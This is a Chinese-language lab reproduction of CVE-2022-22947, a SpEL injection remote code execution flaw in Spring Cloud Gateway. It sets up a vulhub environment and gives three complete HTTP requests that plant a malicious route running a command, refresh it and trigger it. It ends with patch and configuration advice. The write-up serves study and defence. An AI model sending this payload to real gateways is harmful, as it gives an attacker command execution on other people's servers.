CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞
2023-06-13 09:13:50 时间
作者:Jackey0@Timeline Sec
本文字数:980
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。
0x02 漏洞概述
其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
0x03 影响版本
3.1.0 3.0.0-3.0.6 3.0.0之前的版本
0x04 环境搭建
# 下载包
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
# 解压包
unzip vulhub-master.zip
# 进入vulhub目录,开启漏洞环境
cd vulhub/spring/CVE-2022-22947
docker-compose up -d
#漏洞环境拉取成功后访问
http://ip:8080/
0x05 漏洞复现
依次发送如下请求包:
1、以POST方法请求
/actuator/gateway/routes/error
并提交以下数据,用于创建一条恶意路由
POST /actuator/gateway/routes/error HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336
{
"id": "error",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
2、接着以POST方法请求
/actuator/gateway/refresh
用于刷新路由,使刚添加的恶意路由生效
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
3、最后以GET方法请求,触发恶意路由
GET /actuator/gateway/routes HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
第三次请求的相应如下图所示:`id`命令执行成功
0x06 修复建议
1)3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
2)在不影响业务的前提下,通过将配置选项management.endpoint.gateway.enabled设置为false禁用gateway actuator endpoint。
相关文章
- spring boot自动配置原理面试题_Spring boot面试
- java、spring线程池面试题
- Spring Boot 静态资源处理
- Spring之注解开发
- 【05】Spring源码-手写篇-手写Bean配置
- spring boot整合shiro_Spring框架介绍及使用
- spring官方文档 中文_Spring软件
- Spring Cloud Tracing
- Spring监听器-spring源码详解(五)
- Spring基础(十七):Spring日志框架和测试支持
- Spring Boot3.0升级,踩坑之旅,附解决方案(二)
- 漏洞复现-Spring Cloud Function SpEL表达式注入
- Spring Boot 构建多租户系统 实现动态切换数据源
- Spring-Data-Redis快速使用(SpringBoot)
- Spring自带工具类(断言、ObjectUtils、FileCopyUtils、ResourceUtils、StreamUtils、ReflectionUtils、AopUtils、AopCont)
- Spring Cloud Stream应用程序开发-集成Spring Boot应用程序
- 使用 Spring Cloud Bus 和 Spring Cloud Stream 集成实现基于消息的事件驱动
- Spring Cloud Data Flow 的作用和使用场景
- spring事务(Transaction)的七种事务传播行为及五种隔离级别详解数据库
- Spring Boot(十三):spring boot小技巧详解编程语言
- spring使用Spring整合Redis和Jedis构建高性能应用(redisjedis与)
- Spring整合Redis简单实现高效缓存(spring集成redis)
- 为什么说Java程序员到了必须掌握 Spring Boot 的时候?
- Spring的注解配置与XML配置之间的比较